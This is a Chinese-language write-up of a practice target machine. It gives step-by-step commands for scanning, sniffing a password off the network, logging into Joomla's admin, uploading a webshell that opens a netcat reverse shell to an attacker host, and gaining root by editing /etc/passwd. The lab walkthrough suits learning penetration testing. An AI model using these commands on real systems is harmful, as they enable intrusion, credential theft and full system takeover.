前言
学习第一个攻击靶机。
正文
一、信息收集
扫描本地局域网内所有在线设备:
bash
arp-scan -l

扫一下这个靶机开放的端口:
bash
nmap -sV -v -T4 -A 192.168.31.145

发现80端口是开放的:

除此之外还有很多有用的信息:

可以豆包一下,Joomla有什么漏洞。
访问网页。
二、端口监听
进去之后,提示Listen Carefully,说明要监听抓包。

输入抓包命令:
bash
tcpdump -A -n host 192.168.31.145 > B.log

根据日志,发现特征root:00

不自动换行,计算字符串 r...............的字符总数(包含数字、标点等所有可见字符):
bash
echo -n 'r.................' | wc -c

从 B.log 日志文件中筛选以 E 开头的行,提取每行倒数第 18 个字段(以双引号为分隔符),并将执行过程中产生的错误信息丢弃。
bash
cat B.log | awk 'BEGIN{FS=""}/^E/{printf $(NF-17)}' 2>/dev/null

通过字符拼接,拿到后台登录密码:
bash
root:00dae9e3052fb2255408182602383ce1
三、漏洞利用
根据信息搜集的结果,去网站后台http://192.168.31.145/administrator。
根据前面端口监听到的用户密码,进入后台。

在系统设置里,可以看到扩展安装插件。

利用插件漏洞,在github上下载下来。

插件上传完后,在URL里构造函数:
bash
http://192.168.31.145/modules/mod_webshell/mod_webshell.php?action=exec&cmd=busybox%20nc%20192.168.31.188%204444%20-e%20/bin/bash

不过在此之前,先要在kaLi中通过命令监听4444端口:
bash
nc -lp 4444
ls
一下就有回显了

连接建立后,在 nc 会话里执行 id 命令,查看当前用户身份:

当前 shell 的用户是 www-data(Web 服务的默认低权限用户)
四、权限维持
生成一个基础的可执行 bash 的伪终端。
-q:安静模式(不输出多余提示);
-c /bin/bash:执行 bash 作为脚本的命令
/dev/null:把 script 的日志输出重定向到空设备
bash
/usr/bin/script -qc /bin/bash /dev/null

CTRL+Z ,中断连接。

使用完整终端:
bash
stty raw -echo;fg
stty:调整终端(tty)属性的命令;
raw:把终端设置为 "原始模式",让输入直接传递给远程 shell;
-echo:关闭终端的 "回显" 功能;
;:命令分隔符,执行完前一个命令后执行后一个;
fg:把后台暂停的进程(这里是 nc -lp 4444)调回前台运行。

reset 尝试重置终端恢复正常,为xterm
全系统排查 root 所有、带 SUID 权限的高风险文件,且不显示无关报错:
bash
find / -user root -perm -4000 2>/dev/null

chown 带 root 属主的 SUID 权限 → 普通用户执行时临时拥有 root 权限;
把系统核心文件 /etc/passwd 的所有者,改成低权限用户 www-data:
bash
chown www-data:www-data /etc/passwd
新开一个终端,专门生成 Linux 系统认可的加密密码串:
bash
openssl passwd 111111

然后:
bash
# 编辑系统用户文件
vi /etc/passwd
把加密的字符串添加进去,之前生成了一版,所以跟上图不一样。

:wq!退出
su - root 实现提权。

五、获得成果
不再赘述,如下图:
